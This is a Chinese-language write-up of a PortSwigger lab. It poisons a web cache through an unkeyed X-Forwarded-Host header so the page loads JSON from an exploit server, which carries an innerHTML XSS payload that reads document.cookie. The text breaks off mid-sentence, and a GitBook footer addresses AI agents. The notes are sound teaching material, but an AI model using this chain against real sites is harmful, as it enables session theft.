> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md).

# 利用严格缓存的 DOM XSS 进行缓存投毒

利用严格缓存的 DOM XSS 进行缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过具有严格可缓存性条件的缓存进行 Web Cache Poisoning，以利用 DOM 漏洞

#### 实验目标

我们必须 **污染缓存** 使主页访客执行 **`alert(document.cookie)`** 通过一个 **DOM 漏洞**.

#### 观察

* 该页面显示基于国家/地区的配送信息（例如 United Kingdom）。
* 我们识别出一个 **`geolocate.js`** 从 JSON 构建 DOM 的脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4223c016cac84983d0e8885015fcf2a628da7fd%2F%7BD8528482-96A2-4130-A7BE-2D268985CFA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 客户端逻辑分析

在 **`geolocate.js`** 我们看到一个如下类型的函数：

* 她发起了一个 `fetch(jsonUrl)`
* 然后它获取 `j.country`
* 并且她执行： **`div.innerHTML = '免费配送到 ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = '免费配送到 ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

默认加载的 JSON 是：

**`/resources/json/geolocate.json`**

```json
{
    "country": "United Kingdom"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-89bea8169cb30d48c7ddfa5f5d0bea93b9fd7382%2F%7BC849D652-9DCF-481C-A7AB-685AF8215537%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在主页中，JSON URL 的构建如下：

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-337f4b54b29fd81f78bc4038c2ce5ba658dc47af%2F%7BC9EDB337-C2C8-4FD6-9388-2EB82086B226%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 有用的注入点（缓存投毒）

我们注意到，如果我们添加如下请求头：

* `X-Forwarded-Host: test.com`<br>

那么 **该值会被反射** 位于 `data.host`，这会进而影响传递给 `initGeoLocate()`.

#### 在利用服务器上托管我们的 JSON

在我们的 **漏洞利用服务器**上，我们创建一个 JSON 文件（简单示例）：

```json
{
  "country": "Andorra"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-113d7a1ed72921a067b2ce90f6f4643685bcf9dd%2F%7B51A89E7F-29E1-48AA-964D-ED20BD309564%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们向根路径发送带有以下内容的请求：

* `X-Forwarded-Host: <我们的利用服务器>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

起初，这 **不会加载** 因为存在一个问题 **CORS** (没有 `Access-Control-Allow-Origin`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c11a70435f8bf8595f7004cf27ac494d8f1d7de%2F%7B1B5FD064-A739-4A40-A072-89C6BEDE4DAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

因此我们在利用服务器的响应中加入：

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

之后，远程 JSON 就能正常加载。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7e22fee28d87a91da3be797ea840b25793d2f1c%2F%7BB842B488-E67B-4AF7-B571-7E5F49FE94E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过 JSON 的注入型 XSS（DOM XSS）

然后我们将 JSON 内容替换为有效载荷，例如：

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

随着 `j.country` 被注入到 `innerHTML`，浏览器会解析我们的 HTML，并且 \*\*l

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a2b32b04a24bc09cc9803c119df3b0d9a7c71d%2F%7B4F248A0C-1AFF-406D-AFF9-12BAD0DE5663%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
